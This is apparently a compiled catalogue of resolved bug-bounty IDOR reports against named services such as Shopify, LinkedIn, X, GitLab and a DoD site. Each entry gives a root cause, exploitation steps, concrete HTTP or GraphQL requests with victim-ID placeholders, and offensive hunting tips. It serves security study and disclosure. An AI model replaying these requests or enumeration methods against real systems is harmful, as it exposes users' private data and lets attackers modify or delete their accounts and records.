Insight — Always base64/hex/url-decode opaque IDs before assuming they are unguessable. Encoded != authorized. Decode, look for embedded year/sequence structure, then enumerate.
Real-world example
IDOR by swapping personId/encryptedId, with helper endpoints leaking victim IDs
◆ High
Specimen #587214 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain name-search endpoint -> victim personId; mentor URL ->
Root cause
Data endpoints trust a user-supplied identifier (personId, or a long 'encrypted' id) instead of the session; separate helper endpoints (name search, mentor profile URLs) hand out those identifiers, defeating the higher entropy of the 'encrypted' id.
Method
- Find the background XHR that populates a 'my data' page and note the identifier it sends (personId)
- Swap personId for another user's id to retrieve their records; iterate to bulk-collect
- For non-sequential 'encrypted' ids, harvest them from adjacent features: the supervisor/name search autocomplete returns personId; mentor-profile URLs embed the encrypted id
GET /IndividualReport/GetVmlEligibleBidInfoData?personId=XXXXXX&vmlCycleId=4
GET /SearchPersonUser/FindPerson?SearchTerm=NAME # returns victim personId
GET /Dashboard/CareerBrief/PrintOfficerCareerBrief?person=ENCRYPTED_ID
Insight — High-entropy 'encrypted' IDs are not access control. Map every helper/autocomplete/search/mentor endpoint that returns another user's identifier, then feed those IDs into the object endpoints that lack ownership checks.
Real-world example
Delete any credit card via guessable 6-digit id
◆ High
Specimen #27404 · x · awarded · 6 votes · resolved
Program xSurface web
Root cause
The payment-method dismiss/handle_failed action authorized deletion based only on a short numeric credit-card id present in URL and body, with no check that the card belonged to the requesting account; the id is 6 digits and brute-forceable.
Method
- Capture the Dismiss request on your own failed card
- Note the ~6-digit card id in the URL path and the id POST param
- Replay the request substituting another account's/other guessed card id
- Card is removed from the victim account without interaction; automate across the id space for mass impact
POST /accounts/{acct}/payment_methods/handle_failed/{CARD_ID}
utf8=%E2%9C%93&authenticity_token=...&id={CARD_ID}&dismiss=Dismiss
Insight — State-changing actions keyed on short sequential numeric object IDs are prime IDOR/mass-abuse targets; the small id space turns a single IDOR into a denial-of-service across all users.
Real-world example
Segment API discloses all tenants' apps + hash keys
◆ High
Specimen #98432 · x · awarded · 6 votes · resolved
Program xSurface api
Root cause
A MoPub network segment API endpoint, keyed on your own segment id, returned every app on the platform along with their hash keys, with no scoping to the caller's account.
Method
- Create a segment in your MoPub network to obtain a segment id
- GET the segment API endpoint with that id
- Response enumerates all apps across the platform with their hash keys
GET https://app.mopub.com/networks/v2/api/segment/{YOUR_SEGMENT_ID}
Insight — An endpoint scoped by an id you legitimately own can still over-return global data. Diff the response size/content against expectation; mass data (huge, browser-crashing responses) is a tell of missing tenant scoping.
Real-world example
REST API mass-IDOR across CRUD verbs by changing numeric object id
◆ High
Specimen #120291 · veris · none · 3 votes · resolved
Program verisSurface api
Root cause
A RESTful API maps CRUD to HTTP verbs on numeric object ids (venue/rule/terminal/group) with no tenant/ownership authorization, so changing the id in GET/PUT/DELETE/POST gives full cross-organization read and write.
Method
- Capture any authenticated request to an object you own (e.g. PUT /terminals/<id>)
- Change the id to another organization's object id (sequential/enumerable)
- Repeat across verbs: GET to read, PUT to overwrite, DELETE to destroy, POST to create under arbitrary parent/group/venue ids
PUT /terminals/<victim_terminal_id> HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{ ...attacker-controlled terminal data... }
# Also: DELETE /venues/<id>, DELETE /rules/<id>, GET /venues/<id>, POST /rules {group_id:<any>,venue_id:<any>}, POST /venues {parent:<any>}
Insight — When an app exposes a clean REST API, systematically A/B test object-level auth on EVERY resource and EVERY verb, not just one endpoint. Missing authorization is usually uniform across the API layer, so one IDOR implies read+write+delete across all object types.
Real-world example
IDOR via hardcoded mobile-app OAuth bearer token with no object-level authorization
◆ High
Specimen #52982 · vimeo · awarded · 2 votes · resolved
Program vimeoSurface apiChain leaked app bearer token -> path-based user_id swap -> Tag account-takeover
Root cause
The mobile app ships a static/shared OAuth bearer token, and the API performs no object-level authorization on /users/<id>/... resources, so any authenticated caller can read/modify another user's data by swapping the user_id in the path.
Method
- Extract the Authorization: Bearer token used by the mobile app (from the app or intercepted traffic).
- GET /users/<any_user_id>/watchlater/ to enumerate another user's list (excessive data exposure confirms the missing auth).
- PUT /users/<any_user_id>/watchlater/<any_video_id> to add on their behalf.
- DELETE /users/<any_user_id>/watchlater/<any_video_id> to remove -- all without the victim's consent.
PUT /users/<any_user_id>/watchlater/<any_video_id> HTTP/1.1
Host: api.vimeo.com
Authorization: Bearer <ios_app_bearer_token>
Accept: application/vnd.vimeo.*+json; version=3.3
DELETE /users/<any_user_id>/watchlater/<any_video_id> HTTP/1.1
Host: api.vimeo.com
Authorization: Bearer <ios_app_bearer_token>
Insight — Mobile/first-party API tokens frequently bypass per-object authorization that the web app enforces. Pull the app's bearer token, then A/B test /users/<id>/ paths with a second victim id -- if the response changes, it's IDOR/BOLA. Static app tokens make it worse because one leaked token acts on all accounts.
Real-world example
IDOR in hidden/unreleased GraphQL mutation discovered via JS mining
◆ Medium
Specimen #2218334 · security · awarded · 208 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
An unreleased feature's GraphQL mutation (destroyConversation) shipped in front-end JS before release and lacked an ownership check on llm_conversation_id.
Method
- Monitor the target's JS bundles for new GraphQL operation names
- Unhide the Copilot UI by removing 'hidden' classes in DOM
- Create a conversation and grab data.newConversation.llm_conversation.id from the response
- From a second account call DestroyLlmConversation with the victim's conversation id
// reveal hidden UI
document.querySelectorAll('div').forEach(e=>{e.classList.remove('hidden');e.classList.remove('dark:text-white');});
{"operationName":"DestroyLlmConversation","variables":{"llmConversationId":"VICTIM_CONV_ID"},"query":"mutation DestroyLlmConversation($llmConversationId: ID!){destroyConversation(input:{llm_conversation_id:$llmConversationId}){destroyed}}"}
Insight — Diff JS files for new/unreleased GraphQL operations; features gated only in the UI are often reachable and unauthorized at the API before launch.
Real-world example
GraphQL IDOR on incremental billing-invoice id leaking cross-tenant PII
◆ Medium
Specimen #2207248 · shopify · 5000 · 183 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
BillDetails and BillingDocumentDownload GraphQL operations resolve a BillingInvoice by numeric, incremental id without verifying the invoice belongs to the caller's shop.
Method
- Run BillDetails with your own invoice id, confirm shape
- Change the numeric id (incremental) to another merchant's invoice
- Response embeds email, full address, invoice content, card last-4/type or PayPal email
- Alternatively call BillingDocumentDownload then GET /invoices/<id>/download.html to pull the PDF
{"operationName":"BillDetails","variables":{"id":"OTHER_INVOICE_ID","hasBillingSubscriptionsPermission":false},"query":"query BillDetails($id: ID!, $hasBillingSubscriptionsPermission: Boolean!){ node(id:$id){ ... on BillingInvoice { totalAmount{amount currencyCode} paymentMethod{ ... on BillingCreditCard{brand lastDigits} ... on BillingPaypalAccount{email} } } } }"}
Insight — Billing/invoice endpoints are high-value IDOR sinks: incremental invoice ids + no tenant check dump PII and partial card data across the whole platform. Note the PDF header showed the attacker's own name but the victim's email/address - a strong confirmation tell.
Real-world example
Guest token + integer GraphQL id enumeration leaks checkout PII
◆ Medium
Specimen #1064869 · shopify · awarded · 149 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
An unauthenticated signInAsGuest mutation issued a bearer token; that token could then query checkoutStatus(id:) with small sequential integer IDs (1..~48908), returning checkout secrets/tokens and buyer data for checkouts the guest did not own.
Method
- Call signInAsGuest to obtain accessToken
- Call CheckoutStatus with Authorization: Bearer <token> and id starting low
- Iterate id to harvest checkout secret/token/url and buyer info
// 1) get token
{"query":"mutation{signInAsGuest{authPayload{accessToken}}}"}
// 2) enumerate
{"operationName":"CheckoutStatus","variables":{"id":"48805"},"query":"query CheckoutStatus($id:ID!){checkoutStatus(id:$id){... on Checkout{id payJsonParams status token url}}}"}
Insight — A 'guest'/anonymous token is still an authenticated principal; combine it with sequential integer IDs on object-fetch queries. Numeric (non-UUID) IDs on a resource endpoint = enumerate for IDOR.
Real-world example
Analytics/stats IDOR via object key in request body
◆ Medium
Specimen #544329 · x · 289 · 141 votes · resolved
Program xSurface apiTag graphql
Root cause
The order-statistics query resolves the orderKeys value from the body without checking the caller owns those orders, leaking cross-account business analytics.
Method
- Create an order to learn the stats query shape
- POST /web-client/api/orders/stats/query with another user's orderKeys value
- Response returns that order's private statistics
POST /web-client/api/orders/stats/query HTTP/1.1
Host: app.mopub.com
Content-Type: application/json
x-csrftoken: <token>
{"startTime":"2019-04-07","endTime":"2019-04-20","orderKeys":["43b29d60a9724fa9abbdc800044002d6"]}
Insight — Analytics/reporting dashboards are recurring IDOR sinks - the per-entity id (order/restaurant/shop) in the body is rarely re-authorized. Same class hit Uber Eats restaurant analytics via GraphQL authz gap (#1116387).
Real-world example
Data disclosure via action endpoint response (like a hidden comment, read its content)
◆ Medium
Specimen #2541962 · pixiv · 500 · 139 votes · resolved
Program pixivSurface api
Root cause
POST /api/statuses/<id>/hearts (like) accepts a hidden comment's id and returns the comment content+owner in the response, bypassing the visibility restriction enforced only on the display path.
Method
- Victim posts a comment then disables/hides comments on their media
- Obtain a hidden comment id (entityIds in page source, or brute)
- As attacker, POST a like to /api/statuses/<comment_id>/hearts
- Response leaks the hidden comment's content and owner
POST /api/statuses/<HIDDEN_COMMENT_ID>/hearts HTTP/2
Host: hub.vroid.com
Content-Type: application/json
X-Api-Version: 11
{}
Insight — Action endpoints (like/react/favorite/pin) often echo the full target object in their response - a side channel to read content the display layer hides. Test them against restricted/hidden object ids.
Real-world example
IDOR via client-controlled identity cookie (steamid) instead of session
◆ Medium
Specimen #990878 · cs_money · awarded · 126 votes · resolved
Program cs_moneySurface api
Root cause
The /sync endpoint trusts a steamid cookie value to determine whose builds to modify; SteamIDs are public, so changing the cookie lets you save/edit/delete any user's builds.
Method
- Log in; observe the steamid cookie set for your account
- Find a victim SteamID (public / steamidfinder.com)
- Send POST /sync with your session but steamid cookie changed to the victim's
- Victim's build list is modified/cleared
POST /sync HTTP/1.1
Host: 3d.cs.money
Content-Type: application/json;charset=utf-8
Cookie: ...; steamid=<VICTIM_STEAMID>; ...
{"backgrounds":["/assets/images/back3.jpeg"],"builds":[],"edition":1}
Insight — When identity is carried in a separate client-controlled cookie/header (steamid, userid, X-User-Id) rather than the signed session, tampering it is a direct IDOR. Public identifiers (SteamID) remove even the enumeration hurdle.
Real-world example
IDOR on object id in email/export endpoint -> exfil any tenant's records
◆ Medium
Specimen #763994 · shopify · awarded · 116 votes · resolved
Program shopifySurface webChain IDOR (purchase_order_id) + attacker recipient -> cross-stTag account-takeover
Root cause
The Stocky 'send purchase order to email' endpoint trusted a client-supplied purchase_order_id (and a free recipient address) without verifying the object belonged to the caller's store, so setting a victim's id and your own email delivered their products/files/PO PDFs to you.
Method
- Install Stocky and open any of your purchase orders; click 'Send to email' and intercept the POST /messages.
- Change message[purchase_order_id] to the victim's id and message[to]/message[reply_to] to your address.
- Forward; the email with the victim store's PO PDF, files and images is delivered to you (subject/body also XSS-injectable).
POST /messages HTTP/1.1
Host: app.stockyhq.com
Content-Type: application/x-www-form-urlencoded
utf8=%E2%9C%93&authenticity_token=...&message%5Bto%5D=attacker%40gmail.com&message%5Breply_to%5D=attacker%40gmail.com&message%5Bsubject%5D=x&message%5Bbody%5D=x&message%5Battach_csv%5D=0&message%5Bpurchase_order_id%5D=VICTIM_ID&commit=Send
Insight — Any endpoint that emails/exports a record by numeric id is a prime IDOR target - enumerate the id and redirect delivery to yourself. Combine with attacker-controlled recipient to turn missing object-ownership checks into cross-tenant data exfil.
Real-world example
IDOR in reset-password endpoint leaks owner email in response
◆ Medium
Specimen #293490 · eternal · awarded · 113 votes · resolved
Program eternalSurface webTag account-takeover
Root cause
The restaurant-manager reset-password endpoint reflects the account's email in its JSON response and authorizes by an enumerable res_id, so iterating res_id dumps merchant emails regardless of ownership.
Method
- Send POST to the reset endpoint with res_id of a restaurant you don't own
- Response includes the owner's (partially/fully) email
- Iterate res_id to enumerate emails at scale
POST /php/restaurant_manager_reset_password.php HTTP/1.1
Host: www.zomato.com
Content-Type: application/x-www-form-urlencoded
res_id=2100935
Insight — Password-reset/'forgot' endpoints frequently echo the target email 'to help the user'; if they accept an enumerable object id, that's a mass-email-disclosure IDOR - always inspect reset responses for reflected PII.
Real-world example
GraphQL IDOR via incremental global ID exposes private ML models
◆ Medium
Specimen #2528293 · gitlab · 1160 · 113 votes · resolved
Program gitlabSurface graphqlTag graphql
Root cause
The getModel/getModelVersion GraphQL queries resolve an mlModel by its global ID (gid://gitlab/Ml::Model/<n>) without verifying the caller can read that project's private registry; IDs are sequential and thus enumerable.
Method
- Log in, capture a valid Cookie and X-Csrf-Token from any /api/graphql request
- POST the getModel operation with variables.id = gid://gitlab/Ml::Model/<n> and decrement/increment <n> to walk all models
- Read model versions by feeding the returned ModelVersion gid into getModelVersion
POST /api/graphql
{"operationName":"getModel","variables":{"id":"gid://gitlab/Ml::Model/1000401"},"query":"query getModel($id: MlModelID!) { mlModel(id: $id) { id name description versionCount latestVersion { id version packageId } } }"}
Insight — When a GraphQL type accepts an opaque-looking global ID, base64/decode it: gid://<app>/<Type>/<int> is usually a plain sequential DB id. Enumerate the int and confirm private objects lack an object-level authz check on the resolver.
Real-world example
Missing authorization on GraphQL state mutation (lock any report)
◆ Medium
Specimen #2139190 · security · awarded · 112 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
The lockReport mutation authorizes on presence of a valid session but not on the caller's relationship to the target report, so any user can lock an arbitrary public report by supplying its global id.
Method
- Grab the LockReport GraphQL mutation from your own inbox
- Replace reportId with the global id of any public report
- Send - response was_successful=true, target report locked
{"operationName":"LockReport","variables":{"reportId":"Z2lkOi8vaGFja2Vyb25lL1JlcG9ydC8yMTIyNjcx"},"query":"mutation LockReport($reportId: ID!){lockReport(input:{report_id:$reportId}){was_successful errors{edges{node{message}}}}}"}
Insight — For every state-changing GraphQL mutation, swap the object id to one you don't own; base64 global ids (gid://app/Report/<n>) are trivially forgeable, and per-object authz is the common miss.
Real-world example
IDOR on Bitrix support ticket via multipart ID field
◆ Medium
Specimen #1124974 · acronis · awarded · 109 votes · resolved
Program acronisSurface webTag account-takeover
Root cause
The support ticket edit/view endpoint authorizes by a client-supplied ID with no ownership check; swapping ID to a victim's ticket number returns that ticket's contents in the response.
Method
- Create your own ticket to learn the request shape
- POST /support/ticket_edit.html?ID=0 with intercept on
- Change the multipart form-data ID field to the victim's ticket id
- Response contains the victim's ticket information
POST /support/ticket_edit.html?ID=0 HTTP/1.1
Host: www.devicelock.com
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="ID"
<victim_id>
--X--
Insight — Object ids in body/multipart fields (not just URL query) are equally IDOR-prone; always fuzz the ID inside form-data. Bitrix ticket ids are sequential -> enumerable.
Real-world example
Reuse of another user's third-party integration (connection id) via unauth RPC
◆ Medium
Specimen #676581 · superhuman · awarded · 104 votes · resolved
Program superhumanSurface apiChain Leak connection id from public doc -> replay InvokeFormulTag oauth
Root cause
A gRPC/RPC formula-execution endpoint accepts an integration connection id + document id from the request and does not verify the caller owns them (and needs no auth), so an attacker supplies a victim's connection id to run integrations (GitHub code search) with the victim's OAuth grant.
Method
- Find a public doc/template that uses the target integration; note its document id from the embedded iframe URL
- Fetch /internalAppApi/documents/<docid>/externalConnections to read the connection id of the linked account
- Create your own doc, invoke the same formula once through the proxy to capture the InvokeFormula request
- Replace the connection id and document id in the captured request with the victim's, drop the Cookie header, and resend
POST /coda.CalcService/InvokeFormula
# (gRPC-web body) formula=Github::CodeSearch, packVersion=3.4.1,
# connectionId=7b167155-731e-4913-9091-729c5bd77ee0 <-- victim's connection id
# documentId=igvicDMruo <-- victim's doc id
# args: "secret", organization:"kr-project"
# Cookie header removed -> still returns private-repo code Fragments
Insight — Integration/connection identifiers are capability tokens. If a backend references them by opaque id without an ownership check, any user can borrow another account's OAuth grant. Always try swapping connection/integration ids into privileged RPC calls, especially on unauthenticated internal endpoints.
Real-world example
Destructive IDOR: delete/modify another user's object by an id harvested from public pages
◆ Medium
Specimen #1608735 · linkedin · awarded · 97 votes · resolved
Program linkedinSurface apiTag account-takeover
Root cause
A DELETE mutation trusts caller-supplied ProfileId + ImageId (Treasury media urn) without ownership check; the 'unguessable' identifiers are exposed verbatim in the victim's public profile featured-media URL.
Method
- Delete one of your own featured images and capture the DELETE request
- Open the victim's public profile featured media and read profileId + imageId straight from the URL
- Replace both ids (and sectionUrn profile id) in your request and send it
DELETE /voyager/api/voyagerIdentityDashProfileTreasuryMedia/urn:li:fsd_profileTreasuryMedia:(<VICTIM_PROFILE_ID>,<VICTIM_IMAGE_ID>)?sectionUrn=urn:li:fsd_profile:<VICTIM_PROFILE_ID>
Insight — 'The id is too random to guess' is not a control. Before dismissing an IDOR, hunt the identifier in public surfaces: profile page source, share/deep links, API JSON, wayback. If it leaks anywhere, the object-level authz gap is fully exploitable. Same pattern applies to delete/edit mutations that key only on an object id.
Real-world example
Order disclosure via string-token checkout_ari IDOR
◆ Medium
Specimen #1323406 · affirm · 500 · 86 votes · resolved
Program affirmSurface apiTag account-takeover
Root cause
An order-lookup API returns full purchase details (address, payment means, products) keyed only on a checkout_ari token with no ownership check.
Method
- Make a purchase using Affirm financing on the merchant (razer.com) and capture the POST containing checkout_ari
- Replay the request in Repeater swapping checkout_ari for another value
- Backend returns the other user's full order and PII
POST /api/.../ {"checkout_ari":"<victim_checkout_ari>"}
Insight — Payment/checkout reference tokens are prime IDOR sinks; even non-sequential string tokens are exploitable if they leak (emails, redirects, logs) or lack an ownership check. Always A/B test checkout/order reference parameters across two accounts.
Real-world example
owner_id IDOR exposes/controls other users' media
◆ Medium
Specimen #164649 · x · awarded · 84 votes · resolved
Program xSurface apiTag account-takeover
Root cause
studio.twitter.com library API keys off a client-supplied owner_id with no authorization check, letting any user read, upload, delete, or tweet another user's media by changing owner_id.
Method
- Login to studio.twitter.com
- Call /1/library/list.json?account_id=...&owner_id=<n>
- Change owner_id (public Twitter user id) to access other users' private media and actions
GET /1/library/list.json?account_id=4503599659510351&owner_id=<VICTIM_ID>&limit=20&offset=0
Insight — Any endpoint taking an explicit owner_id/account_id/user_id parameter is an IDOR candidate; user ids are public. Test read AND state-changing variants (upload/delete/tweet) for the same param.
Real-world example
Force event attendance via fsd_profile id taken from a public profile
◆ Medium
Specimen #1734639 · linkedin · awarded · 82 votes · resolved
Program linkedinSurface apiTag account-takeover
Root cause
The event attendance API acts on a caller-supplied fsd_profile identifier without verifying it belongs to the caller; the identifier is readable in any user's public profile page source.
Method
- Capture the POST to voyagerScheduledcontentDashViewerStates when toggling your own event attendance
- Grab the victim's fsd_profile id from their public profile page source
- Replace the fsd_profile value to force any user to appear as attendee, or remove/evict legitimate attendees
POST voyagerScheduledcontentDashViewerStates (body param fsd_profile=<victim_profile_id>)
Insight — Same 'identifier is public' primitive as delete-featured-photo: profile URNs are not secrets. Any endpoint that trusts a profile urn/id in the body is an IDOR candidate once you source the victim urn from public HTML/JSON.
Real-world example
Send message as another user by injecting their session_id
◆ Medium
Specimen #1888545 · mozilla · awarded · 80 votes · resolved
Program mozillaSurface apiTag spoofing-phishing
Root cause
The realtime messaging channel derives the sender from a client-supplied session_id in the payload instead of the authenticated connection; other users' session_ids are leaked in the room presence_diff event.
Method
- Create a room and join it as attacker
- Read the victim's session_id from the presence_diff message
- Include that session_id in your send-message payload; the message is attributed to the victim
["8",null,"hub:<room>","message",{"session_id":"<victim_session_id>","body":"eeeee","type":"chat"}]
Insight — In WebSocket/DDP/Phoenix realtime apps, the sender identity must come from the socket, not the message body. Presence/roster events routinely leak peer session ids that can then be spoofed into action payloads.
Real-world example
GraphQL object_from_id dereference authorized on the wrong object
◆ Medium
Specimen #717729 · security · none · 76 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
updateProgramSwag authorizes the caller against program_id (manage_swag) but then dereferences swag_id via context.schema.object_from_id and updates it without checking the swag belongs to that program, so any swag the user can see can be toggled.
Method
- Have swag awarded to your own report in program A
- Create/own a sandbox program B where you can manage swag
- Send the updateProgramSwag mutation with program_id = B (authorized) but swag_id = the swag from A
{"query":"mutation updateState($input_0:UpdateProgramSwagInput!){updateProgramSwag(input:$input_0){swag{_id}}}","variables":{"input_0":{"program_id":"<b64 gid Team/2>","swag_id":"<b64 gid Swag/1>","sent":false,"clientMutationId":"0"}}}
Insight — A mutation that takes both a container id and a target id must verify the target belongs to the container. Global-ID resolvers (object_from_id/GlobalID) return any object the user is merely allowed to SEE; authorization on one argument does not cover the other. Classic 'authorized on parent, acted on child'.
Real-world example
Horizontal privesc by swapping phone param in dashboard URL
◆ Medium
Specimen #2319586 · mtn_group · none · 68 votes · resolved
Program mtn_groupSurface webTag account-takeover
Root cause
After OTP login, the offers dashboard is served purely off a phone-number query parameter (/offers/list?phone=<number>) with no binding of that parameter to the authenticated session, so changing it returns any subscriber's data.
Method
- Log in with your own number via OTP
- Land on /offers/list?phone=<your_number>
- Change phone to any other subscriber number
- The victim's offer dashboard loads without authentication for that number
https://mtn.ng/offers/list?phone=2349138557692
Insight — When a resource key (phone, email, account id) appears in the URL after login, always swap it for another user's value. Object references derived from user-controlled input with no session-to-object ownership check are classic IDOR.
Real-world example
Payment creation authorized on client-controlled steamid cookie
◆ Medium
Specimen #1021776 · cs_money · 300 · 66 votes · resolved
Program cs_moneySurface apiTag account-takeover
Root cause
The /create-payment endpoint identifies the account solely by a client-set steamid cookie (no server-side session binding), so an attacker sets a victim's Steam ID and generates transactions in the victim's history, then cancels/pays them via the returned gateway URL.
Method
- Call POST /create-payment with a victim's Steam ID as the steamid cookie and merchant=cardpay
- Receive a Cardpay orderId + payment URL
- Hit the Cardpay cancel (or pay) URL to force a visible cancelled transaction in the victim's history
- Repeat to spam the victim's history (can trigger an anti-fraud ban)
POST https://cs.money/create-payment HTTP/1.1
Host: cs.money
Content-Type: application/json;charset=UTF-8
Cookie: steamid=<VICTIM_STEAMID>;
{"merchant":"cardpay","amount":10}
Insight — Identity carried in a plain, guessable cookie/parameter (steamid, user_id) rather than an opaque session token is forgeable. Test cross-account effects by substituting a known public identifier; even 'no direct impact' write actions can escalate to fraud/account-ban abuse.
Real-world example
Predictable sequential action tokens in security-warning override links
◆ Medium
Specimen #469372 · kaspersky · awarded · 65 votes · resolved
Program kasperskySurface desktopChain predict override link -> disable MitM/anti-phishing prote
Root cause
AV warning-override links (cert warnings, Safe Money, anti-phishing) use the format /?<link_id>_kis_cup_<GUID>_ with a constant GUID and a globally incrementing link_id; because the warning pages are first-party to the visited site, a page can read one link and predict all future ones.
Method
- Host a site that briefly serves a valid cert then flips to an invalid one (DNS-rebind style server) to force a first-party Kaspersky warning page
- The site reads its own warning page and extracts the link_id + GUID
- Because link_id merely increments and GUID is constant, predict the override link for a target host
- Auto-trigger the override to disable Safe Money / anti-phishing / accept a bad cert for a bank or Google
Override link format: http://touch.kaspersky.com/?id=<link_id>&kis_cup_<GUID>_ # link_id is a simple incrementing counter, GUID constant across all warnings
Insight — Any 'confirm/override/unsubscribe/approve' link keyed on a sequential or shared-secret-free identifier is forgeable. Where such links are served first-party (same origin as the affected page), the origin can read and predict them. Fix pattern to recognize: switch to HMAC-signed tokens and serve warnings from a separate origin.
Real-world example
Object reference in report/flag-content feature leaks non-public object metadata
◆ Medium
Specimen #1581528 · linkedin · awarded · 64 votes · resolved
Program linkedinSurface web
Root cause
The 'report content' feature accepts any object URN (contentUrn) without checking the reporter can view it; the resulting Trust & Safety confirmation flow then discloses the object's owner name, company and title for draft/rejected/unlisted jobs.
Method
- Find a visible job and capture the flag-content request
- Replace contentUrn with an unlisted (draft/under-review/rejected) jobPosting URN
- Submit; the report succeeds where direct viewing failed
- The follow-up email + /safety/reports/:reportId page disclose creator name/profile, company and job title
POST /lite/flag-content?contentUrn=urn:li:jobPosting:<UNLISTED_ID>&reason=OFFENSIVE&contentSource=JOBS_PREMIUM_OFFLINE&authorProfileId=0 HTTP/2
Insight — Secondary features (report/flag, share, embed, notify, 'add to collection') often resolve object IDs through a different, weaker authorization path than the primary view page. When a direct view returns 'Something went wrong', try referencing the same ID through report/share flows.
Real-world example
Numeric user-id in profile URL leaks other users' email/PII
◆ Medium
Specimen #2586584 · deptofdefense · none · 64 votes · resolved
Program deptofdefenseSurface web
Root cause
An Update/View Profile page keys on a numeric user-id in the URL path and never binds it to the session, so incrementing/decrementing the ID returns other users' profile data (email, name).
Method
- Create an account and open the Update Profile page (/JOINOnline/UpdateProfile/<user-id>)
- Change the numeric user-id to another value
- Other users' email and name are returned
GET /JOINOnline/UpdateProfile/<OTHER_NUMERIC_ID> HTTP/1.1
Insight — The most basic and still-prevalent IDOR: a numeric object ID in a URL path with no session binding. Always fuzz +/-1 and a few random IDs on any /profile/{id}, /user/{id}, /account/{id} route. Remediation is binding the record to the authenticated session server-side.
Real-world example
Order enumeration via chat-app order_lookup with weak email verification
◆ Medium
Specimen #968165 · shopify · 2500 · 64 votes · resolved
Program shopifySurface apiChain weak verification + sequential IDs -> mass order/PII disc
Root cause
A support/chat 'order lookup' verifies order_number + email but treats the email match loosely (matching only the domain suffix), and order numbers are sequential from #1000, so an attacker brute-forces orders using just @gmail.com/@hotmail.com.
Method
- Install the store's chat app and start the order-lookup flow
- Submit an order_number and an email reduced to its domain (e.g. @gmail.com)
- Iterate order_number from 1000 upward to dump order details across the store
POST /api/storefront/conversations/<conv-id>/order_lookup HTTP/1.1
Host: shopify-chat.shopifycloud.com
Content-Type: application/json
X-Shopify-Chat-Shop-Identifier: <shop>
{"order_lookup":{"email":"@gmail.com","order_number":"1005","user_token":"<token>"}}
Insight — Second-factor 'verification' fields (email, zip, last-4) are often matched loosely or partially. Test whether only a substring/domain must match, then combine with sequential IDs to enumerate. Support/chat backends frequently bypass the main app's authz.
Real-world example
Account identifier in stats/analytics API discloses others' business data
◆ Medium
Specimen #1644436 · exness · awarded · 58 votes · resolved
Program exnessSurface api
Root cause
Stats/reporting endpoints take an account (or calendar) identifier as a query parameter and return that object's figures without checking it belongs to the caller, exposing financial/business data for any enumerable account number.
Method
- Log into the personal area / performance page and capture the /stats/* requests
- Replace the accounts= (or calendar_id=) value with another account number
- Response returns that account's equity, net profit, order counts, trading volume
GET /v3/personal_area/stats/equity?time_range=365&accounts=<VICTIM_ACCT> HTTP/2
Authorization: Bearer <yours>
# also net_profit, orders_number, trading_volume endpoints
Insight — Analytics/reporting/chart APIs are consistently under-authorized because they feel read-only. Enumerate the account/entity ID across every /stats/* variant. In multi-account platforms the ID is often a short numeric account number, making mass harvesting of business metrics feasible. Same primitive seen on Semrush's calendar_id marketing-calendar API (797685).
Real-world example
Empty/nil parameter returns all records
◆ Medium
Specimen #1044285 · shopify · USD 2900 · 58 votes · resolved
Program shopifySurface api
Root cause
The digital-download endpoint fetched an order by checkout_token; when the token was nil/empty the query matched ALL orders and returned the most recent one, exposing any store's newest paid download link.
Method
- Locate the JSONP endpoint delivery.shopifyapps.com/checkout/get_download_link
- Strip the checkout_token value (and callback padding) to empty
- Server returns the latest order's download URL for that shop
- Loop to continuously capture new orders' download links
GET https://delivery.shopifyapps.com/checkout/get_download_link?callback=jQuery&shop=TARGET.myshopify.com&checkout_token=
# response: jQuery({"ready":true,"links":[{"name":"...zip","url":"https://TARGET.com/a/downloads/-/<id>/<id>"}]})
Insight — Whenever an ID/token param is required, test it empty/null/omitted. A nil filter that degrades to 'return everything, pick first/latest' is a classic broken-access-control primitive that scales across every tenant using the same shared logic.
Real-world example
Document-ID lookup returns private cover URL exposing further IDs
◆ Medium
Specimen #2357113 · publitas · none · 57 votes · resolved
Program publitasSurface api
Root cause
An endpoint accepts a sourceDocumentId and returns the URL of that publication's cover page without checking ownership or the publication's offline/private state, and the returned URL itself embeds the user ID and publication main ID.
Method
- Create an account and an offline publication to learn the sourceDocumentId format
- Send a request with a foreign sourceDocumentId
- Response returns the cover-page URL of an offline publication you don't own
- The URL leaks the owner's user ID and the publication's main ID
GET <endpoint>?sourceDocumentId=<VICTIM_SOURCE_ID> -> returns cover URL containing user_id + main_id
Insight — ID-to-resource resolver endpoints are double leaks: they ignore the object's privacy state AND the resolved URL/response often embeds additional enumerable identifiers you can pivot on. Parse returned URLs for user/tenant IDs.
Real-world example
Authz enforced on read/edit but missing on delete mutation
◆ Medium
Specimen #2203432 · security · awarded · 53 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Analytics reports are correctly hidden from users who lose access to a team (list and edit enforce the team check), but the DeleteAnalyticsReport GraphQL mutation omits that check, so a member can delete reports belonging to teams they can no longer access by supplying the report id.
Method
- As a user with access to two teams, create a report in team B and note its id
- Remove your own access to team B (report disappears from your view)
- Call DeleteAnalyticsReport with that report id; it is deleted despite no access
{"operationName":"DeleteAnalyticsReport","variables":{"reportIds":[644],"product_area":"other","product_feature":"other"},"query":"mutation DeleteAnalyticsReport($reportIds: [Int!]!) { deleteAnalyticsReport(input: {analytics_report_ids: $reportIds}) { errors { edges { node { type field message } } } } }"}
Insight — Authorization is per-operation. When read/list/edit are protected, specifically re-test the delete (and bulk/batch) mutation with an id you should no longer reach - delete paths are frequently the one that skips the ownership check.
Real-world example
userId body param in enroll action not bound to session
◆ Medium
Specimen #783708 · semrush · awarded · 49 votes · resolved
Program semrushSurface web
Root cause
A state-changing POST accepts a client-supplied userId and acts on it without verifying it belongs to the authenticated user.
Method
- Intercept the 'Enroll for free' POST to /academy/courses/userEnroll
- Swap userId to the victim's id (guessable/bruteforceable)
- Server processes the enrollment for the victim; response leaks enrollment state/timestamps
POST /academy/courses/userEnroll {"userId":<victim_id>,"courseId":<id>}
Insight — Any POST carrying an explicit userId/user_id is an IDOR candidate: remove or swap it and see if the server re-derives identity from the session.
Real-world example
IDOR delete via public UUID + brute-forced id
◆ Medium
Specimen #1592587 · linkedin · awarded · 48 votes · resolved
Program linkedinSurface api
Root cause
